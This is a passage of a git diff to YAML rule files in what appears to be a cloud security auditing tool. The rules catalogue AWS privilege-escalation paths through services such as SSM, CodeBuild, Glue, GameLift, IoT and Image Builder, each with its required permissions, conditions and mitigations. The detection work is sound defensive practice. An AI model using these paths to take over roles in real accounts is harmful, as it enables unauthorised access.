scoped - token/session is insufficient. + summary: The source can run an existing Automation document with a passable role + supplied through its assumeRole parameter when an observed step performs an action + that the source cannot perform directly. requires: all_of: - - action: ssm:StartAutomationExecution - resource: '*' - action: iam:PassRole - resource: '*' + resource: '{target.arn}' + request_context: + iam:PassedToService: ssm.amazonaws.com + preconditions: + - ssm_existing_automation_runtime_role_effect_reviewed target: kind: aws_role selector: - aws_challenge_fact: aws-audit-use-existing-parameterized-automation-runbook-with-runtime-passrole + trust_allows_service: ssm.amazonaws.com scope: same_account outcome: workload_execution conditions: - id: exact_verified_prerequisites - description: 'Evidence must bind source, exact target, and these prerequisites: - Existing runbook accepts AutomationAssumeRole parameter and uses it as role; - source can start it with allowed parameters; iam:PassRole covers exact role - trusting ssm.amazonaws.com; step must have useful privileged effect.' + description: 'A reviewed execution must bind the exact immutable Automation + document version, an assumeRole parameter supplied with the passed role, + StartAutomationExecution authorization for that document, and a successful + useful step performed under that role.' blockers: - scp_or_boundary_deny confidence: conditional severity: high mitigation: Restrict the listed actions to approved operators and review the exact target configuration. - notes: Missing exact principal, authority equivalence, fresh evidence, condition - IDs, authorization fingerprint or action/resource joins remains UNKNOWN. Restricted - sessions, revoked keys and audience-bound tokens do not reach the full identity. - Standard inventories never fabricate these facts. + notes: A fixed-role runbook does not allow a caller to select this role. IAM grants + on unrelated Automation documents or a passable role alone do not establish an + execution path. The document version, passed role, actual execution and useful + role action must be joined; missing facts stay UNKNOWN. references: - https://cloud.hacktricks.wiki/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/ - id: aws-codebuild-ssm-debug-session-role @@ -51,37 +51,36 @@ title: Connect to a paused CodeBuild build through Session Manager source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#ssm source_revision: 57bd5c07df - summary: A live paused CodeBuild debug session gives shell access with the project - service role. Conditional principal access requires the exact inventoried identity, - usable authority equivalent to its observed full IAM rights, fresh evidence and - matching authorization fingerprint. A scoped token/session is insufficient. + summary: A live paused CodeBuild debug session may give shell access under the + role used by that exact build when Session Manager access and an actual role + action are observed. + source_kind: [aws_user, aws_role] requires: - all_of: - - action: ssm:StartSession - resource: '*' + all_of: [] + preconditions: + - codebuild_ssm_debug_session_role_effect_reviewed target: kind: aws_role selector: - aws_challenge_fact: aws-codebuild-ssm-debug-session-role + trust_allows_service: codebuild.amazonaws.com scope: same_account outcome: workload_execution conditions: - id: live_breakpoint - description: A build with session connections enabled must be paused at codebuild-breakpoint. + description: The exact running build must have session connections enabled and be paused at codebuild-breakpoint. - id: verified_collector_fact - description: The requested collector fact must bind the source, exact resource, - newly reachable authority and all runtime prerequisites; without it the result - is UNKNOWN. + description: A fresh reviewed session must bind the build's sessionTarget, its actual service role, StartSession authorization and a useful action performed with that role. confidence: conditional severity: high mitigation: Restrict the named operation to trusted administrators and review downstream grants. references: - - https://docs.aws.amazon.com/codebuild/latest/APIReference/Welcome.html - notes: Missing exact principal, authority equivalence, fresh evidence, condition - IDs, authorization fingerprint or action/resource joins remains UNKNOWN. Restricted - sessions, revoked keys and audience-bound tokens do not reach the full identity. - Standard inventories never fabricate these facts. + - https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html + - https://docs.aws.amazon.com/codebuild/latest/APIReference/API_DebugSession.html + notes: A CodeBuild Sandbox or an unpaused build does not establish this path. IAM + permission on another Session Manager target and the project's configured role + do not prove access to this build, which may use a role override. Missing runtime + joins or shell effects remain UNKNOWN. - id: aws-devicefarm-schedulerun-existing-test-spec-passrole provider: aws service: devicefarm @@ -93,11 +92,10 @@ source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#devicefarmcreateprojectupdateprojectschedulerun--iampassrole source_revision: 57bd5c07df requires: - all_of: - - action: devicefarm:ScheduleRun - resource: '*' - - action: iam:PassRole - resource: '*' + all_of: [] + source_kind: [aws_user, aws_role] + preconditions: + - devicefarm_existing_test_spec_role_effect_reviewed target: kind: aws_role selector: @@ -121,11 +119,15 @@ confidence: conditional severity: high mitigation: Restrict the required actions to reviewed resources and principals. - references: [] - notes: Missing exact principal, authority equivalence, fresh evidence, condition - IDs, authorization fingerprint or action/resource joins remains UNKNOWN. Restricted - sessions, revoked keys and audience-bound tokens do not reach the full identity. - Standard inventories never fabricate these facts. + references: + - https://docs.aws.amazon.com/devicefarm/latest/APIReference/API_ScheduleRun.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_devicefarm.html + - https://docs.aws.amazon.com/devicefarm/latest/APIReference/API_Upload.html + notes: The evaluator joins an existing project, compatible pool, successful Appium + Web Node test spec and package uploads, exact scoped ScheduleRun grants and PassRole + to devicefarm.amazonaws.com. Fresh reviewed evidence must show the controlled spec + ran under the role and performed a useful action unavailable to the caller. Missing + or mismatched resources, restricted sessions and stale evidence stay unresolved. - id: aws-iot-byo-certificate-existing-rolealias provider: aws service: iot @@ -165,10 +167,7 @@ description: The requested collector fact must bind the source, exact resource, newly reachable authority and all runtime prerequisites; without it the result is UNKNOWN. - notes: Missing exact principal, authority equivalence, fresh evidence, condition - IDs, authorization fingerprint or action/resource joins remains UNKNOWN. Restricted - sessions, revoked keys and audience-bound tokens do not reach the full identity. - Standard inventories never fabricate these facts. + notes: The existing role alias must be inventoried with RoleArn equal to the exact target role. Fresh reviewed evidence binds an attacker-held ACTIVE certificate, registration without a CA, AttachPolicy on that certificate, an attached IoT policy allowing AssumeRoleWithCertificate on that alias, and successful credential-provider authentication. The full-principal attestation also needs the target's current authorization fingerprint and a usable unrestricted role session. Missing alias detail, mismatched role or certificate, or incomplete credential evidence remains UNKNOWN. - id: aws-iot-provisioning-claim-existing-rolealias provider: aws service: iot @@ -210,7 +209,4 @@ description: The requested collector fact must bind the source, exact resource, newly reachable authority and all runtime prerequisites; without it the result is UNKNOWN. - notes: Missing exact principal, authority equivalence, fresh evidence, condition - IDs, authorization fingerprint or action/resource joins remains UNKNOWN. Restricted - sessions, revoked keys and audience-bound tokens do not reach the full identity. - Standard inventories never fabricate these facts. + notes: The existing role alias must be inventoried with RoleArn equal to the exact target role. Fresh reviewed evidence binds CreateProvisioningTemplate and CreateProvisioningClaim to the same exact template, PassRole to a distinct provisioning role for iot.amazonaws.com, a claim used over MQTT, an ACTIVE permanent certificate with an attached policy allowing AssumeRoleWithCertificate on that alias, and successful credential-provider authentication. The full-principal attestation needs the target's current authorization fingerprint and a usable unrestricted role session. Missing alias detail, mismatched template or role, or incomplete credential evidence remains UNKNOWN. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml index d6828ee82d..ef788f61d5 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/flink.yaml @@ -9,6 +9,37 @@ # Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Applications carry a service execution role # trusting kinesisanalytics.amazonaws.com; IAM actions use the kinesisanalytics prefix. +- id: aws-flink-studio-presigned-url + provider: aws + service: kinesisanalytics + title: Open an existing Studio notebook with its execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-flink-privesc/README.md#studio-presigned-url-to-zeppelin-execution + source_revision: 171e422299 + summary: A principal allowed to open a running Studio notebook may run work through its recorded execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of running Studio notebooks in {account} + outcome: workload_execution + preconditions: + - flink_existing_studio_role_session + conditions: + - id: notebook_execution + description: The presigned URL must be used while valid and the notebook must permit code or query execution. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict CreateApplicationPresignedUrl to approved Studio notebooks and keep notebook execution roles least privileged. + references: + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_CreateApplicationPresignedUrl.html + - https://docs.aws.amazon.com/managed-flink/latest/apiv2/API_DescribeApplication.html + - https://docs.aws.amazon.com/managed-flink/latest/java/how-notebook.html + notes: The evaluator joins a RUNNING INTERACTIVE application to its recorded ServiceExecutionRole and requires CreateApplicationPresignedUrl on the same application ARN. No PassRole or application mutation is needed. + - id: aws-flink-passrole-createapplication provider: aws service: kinesisanalytics diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml index 29470a88d5..82f278a038 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/gamelift.yaml @@ -7,42 +7,69 @@ # Amazon GameLift Servers privilege escalation techniques. # Source: hacktricks-cloud aws-gamelift/README.md (rev 171e422299). +- id: aws-gamelift-getcomputeaccess-shared-fleet-role + provider: aws + service: gamelift + title: Open an EC2 fleet host with a shared instance role credentials file + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#managed-compute-shell-with-gameliftgetcomputeaccess + source_revision: 88f850c6d4 + summary: The source can open a shell on an active managed EC2 fleet compute where the exact instance role is exposed through a shared credentials file. + source_kind: [aws_user, aws_role] + requires: + all_of: [] + target: + kind: aws_role + scope: same_account + aggregate_as: "Instance roles on active GameLift EC2 fleets reachable through a shared credentials file in {account}" + outcome: impersonation + preconditions: + - gamelift_existing_shared_fleet_role_shell + conditions: + - id: readable_shared_credentials + description: The Session Manager shell must be able to read the fleet's shared role credentials file while the compute remains active. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit GetComputeAccess on fleets with shared instance role credentials to operators who need host access, and keep the fleet role narrowly scoped. + references: + - https://docs.aws.amazon.com/gameliftservers/latest/apireference/API_GetComputeAccess.html + - https://docs.aws.amazon.com/gameliftservers/latest/developerguide/gamelift-sdk-server-resources.html + notes: The evaluator joins the exact fleet InstanceRoleArn and SHARED_CREDENTIAL_FILE setting to an active listed compute and checks GetComputeAccess on the accountful fleet IAM resource ARN. It never requests the shell token or reads the role credentials. Default SDK credential flow and container fleets are outside this entry. + - id: aws-gamelift-passrole-createfleet provider: aws service: gamelift - title: Create a GameLift fleet with a passed instance or container-fleet role + title: Create a GameLift EC2 fleet with a controlled build and passed role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role - source_revision: 6fb9ac51fd - summary: The source can obtain the privileges of any passable role trusting gamelift.amazonaws.com by running a server build or container it controls on a fleet created with that role. + source_revision: 3b6983e5a8 + summary: The source can create and upload a game build, run it on a new EC2 fleet, and use the exact passable fleet instance role. + source_kind: [aws_user, aws_role] requires: all_of: - action: iam:PassRole resource: "{target.arn}" - any_of: - - - action: gamelift:CreateFleet - resource: "*" - - - action: gamelift:CreateContainerFleet - resource: "*" + request_context: + iam:PassedToService: gamelift.amazonaws.com target: kind: aws_role selector: trust_allows_service: gamelift.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "Roles trusting gamelift.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - gamelift_new_controlled_build_fleet_role conditions: - id: controlled_build - description: The fleet must run a build, script or container group definition the source controls (an existing one, or gamelift:CreateBuild / CreateScript / CreateContainerGroupDefinition with an upload or image). - - id: passrole_condition_key - description: iam:PassedToService conditions may restrict which roles can be passed. + description: The source must upload a runnable server build using the credentials returned by CreateBuild and the new EC2 fleet must run that build. blockers: - scp_or_boundary_deny confidence: conditional severity: high - mitigation: Restrict iam:PassRole on GameLift instance and fleet roles and gamelift:CreateFleet / CreateContainerFleet to build pipelines. + mitigation: Restrict iam:PassRole on GameLift instance roles and CreateBuild/CreateFleet to approved build pipelines. references: - https://docs.aws.amazon.com/gamelift/latest/developerguide/setting-up-role.html - https://docs.aws.amazon.com/gamelift/latest/apireference/API_CreateFleet.html - - https://docs.aws.amazon.com/gamelift/latest/apireference/API_CreateContainerFleet.html - notes: The InstanceRoleArn (CreateFleet) or FleetRoleArn (CreateContainerFleet) credentials are available to processes on fleet instances or containers. CreateGameServerGroup is excluded separately (its role is used by FleetIQ to manage the Auto Scaling group, not exposed to instance code). + - https://docs.aws.amazon.com/gameliftservers/latest/apireference/API_CreateBuild.html + notes: CreateBuild without StorageLocation returns initial upload credentials, so RequestUploadCredentials is needed only to refresh them. The evaluator joins CreateBuild and CreateFleet grants in one Region. Existing builds, scripts and container fleets need a separate controlled-artifact proof and remain unresolved. CreateGameServerGroup is excluded separately because its role manages FleetIQ rather than instance code. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml index 0a07781d62..bcb0a98fec 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/gameliftstreams.yaml @@ -8,31 +8,60 @@ # Source: hacktricks-cloud aws-gamelift-streams-privesc/README.md (rev 171e422299). # Session roles must trust gameliftstreams.amazonaws.com and be named GameLiftStreams-* (StartStreamSession API reference). +- id: aws-gameliftstreams-createstreamsessionadminshell + provider: aws + service: gameliftstreams + title: Open a role-bearing live stream session through its admin shell + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift-streams-privesc/README.md#gameliftstreamscreatestreamsessionadminshell-on-a-session-with-a-role + source_revision: bbe766aa6f + summary: The source can enter a live stream session that already holds a different IAM role when CreateStreamSessionAdminShell covers that session's parent stream group. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: gameliftstreams:CreateStreamSessionAdminShell + resource: "*" + target: + kind: aws_role + selector: + name_prefix: GameLiftStreams- + scope: same_account + outcome: impersonation + aggregate_as: "Roles in live GameLift Streams sessions reachable by admin shell in {account}" + preconditions: + - gameliftstreams_live_role_session_admin_shell + conditions: + - id: live_session + description: The parent stream group must be ACTIVE and the role-bearing session must still be live when the shell is opened. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict CreateStreamSessionAdminShell to trusted operators on exact stream groups and limit session-role permissions. + references: + - https://docs.aws.amazon.com/gameliftstreams/latest/developerguide/troubleshoot-admin-shell-guide.html + - https://docs.aws.amazon.com/gameliftstreams/latest/apireference/API_ListStreamSessions.html + notes: The parent stream group and RoleArn come from the same listed live session. This route does not need PassRole because the role was attached before the shell was opened. + - id: aws-gameliftstreams-passrole-startstreamsession provider: aws service: gameliftstreams title: Start a stream session of a controlled application with a passed role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift-streams-privesc/README.md#gameliftstreamsstartstreamsession--iampassrole-with-attacker-controlled-application-code source_revision: 171e422299 - summary: The source can obtain the privileges of passable GameLiftStreams-* roles trusting gameliftstreams.amazonaws.com when it can stream an application whose code it controls. + summary: The source may perform a useful action under a passable GameLiftStreams-* session role when controlled application code executes in a compatible stream group. + source_kind: [aws_user, aws_role] requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" - any_of: - - - action: gameliftstreams:StartStreamSession - resource: "*" - - - action: gameliftstreams:CreateStreamUrl - resource: "*" + all_of: [] target: kind: aws_role selector: trust_allows_service: gameliftstreams.amazonaws.com name_prefix: GameLiftStreams- - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "GameLiftStreams-* roles passable in {account}" outcome: workload_execution + preconditions: + - gameliftstreams_controlled_application_role_session conditions: - id: controlled_application description: An application whose content the source controls must be associated with an active stream group with capacity (creating or associating one needs further GameLift Streams and S3 permissions). @@ -45,4 +74,4 @@ mitigation: Restrict iam:PassRole on GameLiftStreams-* roles to the session backend and restrict who can create or update applications. references: - https://docs.aws.amazon.com/gameliftstreams/latest/apireference/API_StartStreamSession.html - notes: gameliftstreams:CreateStreamUrl is not in aws_permissions_cat.yaml; HackTricks documents it as an alternative path that also takes a RoleArn. + notes: StartStreamSession is authorized on the exact stream group with gameliftstreams:RoleArn in request context. CreateStreamUrl additionally needs permission on both the stream group and application and depends on StartStreamSession. PassRole must allow gameliftstreams.amazonaws.com for the exact target role. A concrete route requires fresh reviewed evidence that an ACTIVE group supports session credentials, has capacity, contains a READY application controlled by the source, and that an accepted session ran the code and performed a useful role action unavailable directly to the caller. Groups created before session-credential support stay unresolved. CreateStreamUrl is a supported IAM action in the current AWS Service Authorization Reference. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml index 9de4269457..a49306d266 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/glue.yaml @@ -14,41 +14,34 @@ title: Create a Glue development endpoint with a passed role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-a-legacy-development-endpoint-with-a-privileged-role source_revision: 171e422299 - summary: The source can obtain the privileges of any passable role trusting glue.amazonaws.com. + summary: The source can create a public Glue development endpoint with an SSH key it controls, read its address and use a passable execution role. requires: - all_of: - - action: iam:PassRole - resource: "{target.arn}" - - action: glue:CreateDevEndpoint - resource: "*" - any_of: - - - action: glue:GetDevEndpoint - resource: "*" - - - action: glue:GetDevEndpoints - resource: "*" + all_of: [] + source_kind: [aws_user, aws_role] target: kind: aws_role selector: trust_allows_service: glue.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "Roles trusting glue.amazonaws.com passable in {account}" outcome: workload_execution + preconditions: + - glue_new_public_dev_endpoint_role conditions: - id: dev_endpoint_availability - description: Glue development endpoints are a legacy feature (not supported on Glue 2.0+ runtimes); creation may be unavailable in some regions/accounts. - - id: network_reachability - description: VPC endpoints only expose a private address; the source needs a network path to SSH. - - id: passrole_condition_key - description: iam:PassedToService conditions may restrict which roles can be passed. + description: A complete Glue endpoint read must show that the chosen Region and account still support the legacy endpoint API, and a new endpoint name is available. + - id: public_ssh_path + description: The source can create a non-VPC endpoint with its SSH public key, and GetDevEndpoint on the new endpoint or GetDevEndpoints on the account lets it read the public address after provisioning. blockers: - scp_or_boundary_deny confidence: conditional severity: critical mitigation: Restrict iam:PassRole on Glue roles with iam:PassedToService=glue.amazonaws.com and deny glue:CreateDevEndpoint. references: - - https://docs.aws.amazon.com/glue/latest/dg/dev-endpoints.html - notes: Legacy feature; kept because the API still exists. Reach is roles trusting glue.amazonaws.com within PassRole scope. + - https://docs.aws.amazon.com/glue/latest/dg/development.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateDevEndpoint.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_GetDevEndpoints.html + notes: The evaluator checks CreateDevEndpoint on *, one unused endpoint name, a matching endpoint read permission and exact iam:PassRole. It excludes recorded disabled or unsupported Region/account states; provisioning, quotas and SSH connectivity remain conditional. - id: aws-glue-updatedevendpoint provider: aws @@ -123,9 +116,44 @@ references: - https://docs.aws.amazon.com/glue/latest/dg/aws-glue-programming-etl-glue-arguments.html - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateTrigger.html - notes: A collected unpinned --scriptLocation plus StartJobRun on the exact job, or permission to create a new scheduled trigger in the same Region, establishes a conditional route. Pinned scripts may still have a dependency route through --extra-py-files, --extra-jars, --additional-python-modules or --python-virtual-env; those remain unresolved until their runtime prerequisites are verified. The page states that creating a trigger for an existing job does not itself require iam:PassRole. The HEAD page has no dedicated heading for this variant; it is sourced at the job heading. + notes: The evaluator requires an unpinned --scriptLocation, StartJobRun on the exact job or a creatable scheduled trigger, and one S3 script object the source can PutObject and the target role can GetObject. A script outside recorded job definitions can also prove the route through fresh reviewed evidence of a matching job run, script read and execution, and a useful action under the exact role. Dependency override formats without such evidence remain unresolved. Creating a trigger for an existing job does not itself require iam:PassRole. +- id: aws-glue-overwrite-existing-job-script + provider: aws + service: glue + title: Replace the script read by an existing Glue job + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#replace-the-script-of-an-existing-glue-job + source_revision: f6c5b04636 + summary: The source may run its code under an existing Glue job role by replacing the exact S3 script object used by that job and causing the job to run. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + attached_to_service: glue + via_resource_type: glue_job + scope: same_account + aggregate_as: Execution roles of Glue jobs whose exact script object is writable and runnable in {account} + outcome: workload_execution + preconditions: + - glue_existing_job_script_object_writable_and_runnable + conditions: + - id: object_replacement_and_run + description: The exact S3 script object must accept the replacement and the job must subsequently load it. A non-overridable --scriptLocation or scheduled trigger action that redirects the script leaves the route unresolved. + - id: scheduled_run + description: The scheduled-trigger variant requires the recorded active schedule to fire after the object replacement. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit write access to Glue job script objects to trusted deployment identities and restrict who can start jobs that use privileged roles. + references: + - https://docs.aws.amazon.com/glue/latest/dg/aws-glue-api-jobs-job.html + - https://docs.aws.amazon.com/glue/latest/dg/edit-nodes-script.html + notes: The evaluator joins Command.ScriptLocation, the same job's role, exact s3:PutObject and role s3:GetObject permissions, and StartJobRun or an active scheduled trigger. A direct StartJobRun can explicitly select the recorded script URI only when --scriptLocation is not non-overridable; a scheduled run also needs collected job defaults and trigger action arguments without a script redirect. It never infers a role edge from a generic writable bucket or a different job. + - id: aws-glue-passrole-createjob-or-updatejob-run provider: aws service: glue @@ -161,7 +189,7 @@ mitigation: Restrict iam:PassRole on Glue roles with iam:PassedToService, and restrict job creation/update and trigger creation to the deployment pipeline. references: - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateJob.html - notes: The machine precondition checks a creatable unused job or an existing updateable job and StartJobRun on that same job, or a creatable scheduled trigger in its Region. The script must still be readable by the passed role. + notes: The machine precondition checks a creatable unused job or an existing updateable job and StartJobRun on that same job, or a creatable trigger in its Region. It binds exact Glue PassRole and an S3 script object the source can PutObject and the passed role can GetObject. A script outside recorded job definitions can also prove the route through fresh reviewed evidence of the accepted job change, matching run, script execution and useful action under the exact role. - id: aws-glue-updatejob-existing-role provider: aws @@ -200,7 +228,7 @@ - https://docs.aws.amazon.com/glue/latest/webapi/API_UpdateJob.html - https://docs.aws.amazon.com/glue/latest/webapi/API_JobUpdate.html - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsglue.html - notes: HackTricks states UpdateJob alone suffices, but JobUpdate marks Role as required and states the previous job definition is completely overwritten, and the Service Authorization Reference lists iam:PassRole as a dependent action of glue:UpdateJob, so PassRole on the job's role is required. An operator-run possibility is not enough to establish a reachable execution path. Direct StartJobRun is covered by aws-glue-passrole-createjob-or-updatejob-run. + notes: JobUpdate requires Role and completely overwrites the prior definition, and the Service Authorization Reference lists iam:PassRole as a dependent action of glue:UpdateJob, so PassRole on the job's role is required. The evaluator joins a runnable trigger and an S3 script object the source can PutObject and the attached role can GetObject. A script outside recorded job definitions can also prove the route through fresh reviewed evidence of the accepted update, trigger firing, matching run, script execution and useful action under the exact role. Direct StartJobRun is covered by aws-glue-passrole-createjob-or-updatejob-run. - id: aws-glue-passrole-createsession provider: aws diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml index 725d0efa07..30e39ccef1 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/imagebuilder.yaml @@ -12,31 +12,28 @@ service: imagebuilder title: Publish a newer component version consumed by a wildcard recipe and run the pipeline source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-image-builder-privesc/README.md#imagebuildercreatecomponent--imagebuilderstartimagepipelineexecution - source_revision: 171e422299 + source_revision: 3a7851fefe summary: The source can obtain the privileges of the infrastructure instance-profile role of an Image Builder pipeline whose recipe references an account-owned component by a version wildcard. requires: - all_of: - - action: imagebuilder:CreateComponent - resource: "{target.consumer_input_arn}" - - action: imagebuilder:StartImagePipelineExecution - resource: "{target.attached_resource_arn}" + all_of: [] + source_kind: [aws_user, aws_role] target: kind: aws_role selector: trust_allows_service: ec2.amazonaws.com has_instance_profile: true - attached_resource_covered_by: imagebuilder:StartImagePipelineExecution - consumer_input_writable_via: imagebuilder:CreateComponent via_resource_type: imagebuilder_pipeline scope: same_account - aggregate_as: "Image Builder infrastructure roles of pipelines with wildcard components in {account}" + aggregate_as: "Image Builder infrastructure roles of pipelines with unpinned component builds in {account}" + preconditions: + - imagebuilder_component_publish_and_pipeline_start conditions: - id: unpinned_component - description: The recipe must reference an account-owned component with a version wildcard (x.x.x, 1.x.x, 1.2.x); a pinned semantic version or build ARN and AWS-owned components are not affected. Verified from the collected recipe components when GetImageRecipe was readable. + description: The recipe must reference an account-owned component by a wildcard semantic version or an exact semantic version without a build number. A pinned build ARN and AWS-owned components are not affected. blockers: - scp_or_boundary_deny confidence: conditional severity: high mitigation: Pin component build versions in recipes and restrict imagebuilder:CreateComponent for consumed component names. references: [] - notes: No iam:PassRole is needed. The build role is the instance-profile role of the infrastructure configuration and trusts ec2.amazonaws.com (not imagebuilder.amazonaws.com); {target.attached_resource_arn} is the collected imagebuilder_pipeline whose infrastructure configuration (InstanceProfileName) carries the role. {target.consumer_input_arn} is arn:aws:imagebuilder:::component//* for each account-owned version-wildcard component of the pipeline's image recipe (imagebuilder:GetImageRecipe, component ARNs only), since a new component version is a new ARN under the same name; so name-scoped CreateComponent grants are matched. Pipelines whose recipe was not readable (or container-recipe pipelines) fall back to the Region's component/* and stay conditional (imagebuilder_recipe_components_not_collected); a role whose recipes reference only pinned or AWS-owned components is excluded; accounts without a complete pipeline inventory stay unknown. Scheduled pipelines also pick up the new version without StartImagePipelineExecution (delayed). + notes: No iam:PassRole is needed. The build role is the instance-profile role of the infrastructure configuration and trusts ec2.amazonaws.com. The evaluator joins a collected recipe component, the pipeline carrying that profile role, CreateComponent permission covering a future matching version or build, and StartImagePipelineExecution on that same pipeline. A policy scoped to one fixed existing build does not establish publication of a newer build. Missing recipe or pipeline facts stay unresolved. Scheduled pipelines may also pick up a new component version later, but this entry needs a source-startable pipeline to establish execution. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/iot.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/iot.yaml index f0799b646b..1ef22a9640 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/iot.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/iot.yaml @@ -10,46 +10,86 @@ - id: aws-iot-passrole-rolealias-certificate provider: aws service: iot - title: Point an IoT role alias at a passed role and assume it with a device certificate + title: Create an IoT role alias and certificate policy to assume a passed role source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreaterolealias--updaterolealias--iampassrole--assume-an-arbitrary-role-via-a-device-certificate source_revision: 6fb9ac51fd - summary: The source can obtain the privileges of any passable role trusting credentials.iot.amazonaws.com through the IoT credential provider. + summary: The source can create a new role alias and IoT policy, then use an active certificate it generates or registers to obtain credentials for a passable role trusting the IoT credential provider. requires: all_of: - action: iam:PassRole resource: "{target.arn}" + request_context: + iam:PassedToService: iot.amazonaws.com - action: iot:AttachPolicy resource: "*" - - any_of: - - action: iot:CreateRoleAlias - resource: "*" - - action: iot:UpdateRoleAlias - resource: "*" - - any_of: - - action: iot:CreateKeysAndCertificate - resource: "*" - - action: iot:RegisterCertificateWithoutCA - resource: "*" + - action: iot:CreateRoleAlias + resource: "*" + - action: iot:CreatePolicy + resource: "*" + any_of: + - - action: iot:CreateKeysAndCertificate + resource: "*" + - - action: iot:RegisterCertificateWithoutCA + resource: "*" target: kind: aws_role selector: trust_allows_service: credentials.iot.amazonaws.com - resource_permission_covers_target: iam:PassRole scope: same_account aggregate_as: "Roles trusting credentials.iot.amazonaws.com passable in {account}" outcome: credentials + preconditions: + - iot_new_alias_policy_certificate_same_region conditions: - - id: iot_policy_allows_assume - description: The certificate needs an IoT policy allowing iot:AssumeRoleWithCertificate on the role alias (an existing permissive policy, or iot:CreatePolicy). + - id: fresh_alias_and_policy + description: The caller creates a new role alias and IoT policy allowing iot:AssumeRoleWithCertificate on that alias, then attaches the policy to an active generated or self-registered certificate whose private key it holds. - id: passrole_condition_key description: iam:PassedToService conditions may restrict which roles can be passed. blockers: - scp_or_boundary_deny confidence: conditional severity: critical - mitigation: Restrict iam:PassRole on IoT credential-provider roles and iot:CreateRoleAlias / UpdateRoleAlias / AttachPolicy / certificate creation and registration to IoT administrators. + mitigation: Restrict iam:PassRole on IoT credential-provider roles and the IoT alias, policy and certificate permissions to IoT administrators. references: - https://docs.aws.amazon.com/iot/latest/developerguide/authorizing-direct-aws.html - https://docs.aws.amazon.com/iot/latest/apireference/API_CreateRoleAlias.html - https://docs.aws.amazon.com/iot/latest/apireference/API_RegisterCertificateWithoutCA.html - notes: The certificate can be AWS-generated (CreateKeysAndCertificate) or an offline self-signed one registered as ACTIVE (RegisterCertificateWithoutCA, documented under its own heading on the same page). A source already holding an active certificate's private key does not need either; that path is not modelled (false negative only). The aws-iot-core-privesc page documents the same technique. + notes: This is the self-contained new-alias/new-policy/new-certificate path, including a locally generated certificate registered without a CA. The existing-alias route below covers repointing a collected alias with a new policy and certificate. Reusing an existing policy or already-held certificate still requires separate exact joins. The aws-iot-core-privesc page documents the same family. + +- id: aws-iot-update-existing-alias-new-certificate + provider: aws + service: iot + title: Repoint an existing IoT role alias to a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-privesc/README.md#iotcreaterolealias--updaterolealias--iampassrole--assume-an-arbitrary-role-via-a-device-certificate + source_revision: 117eefa65f + summary: The source can repoint an existing IoT role alias to a passable role, then use a newly generated or self-registered certificate with a new IoT policy to obtain that role's credentials. + requires: + all_of: + - action: iam:PassRole + resource: 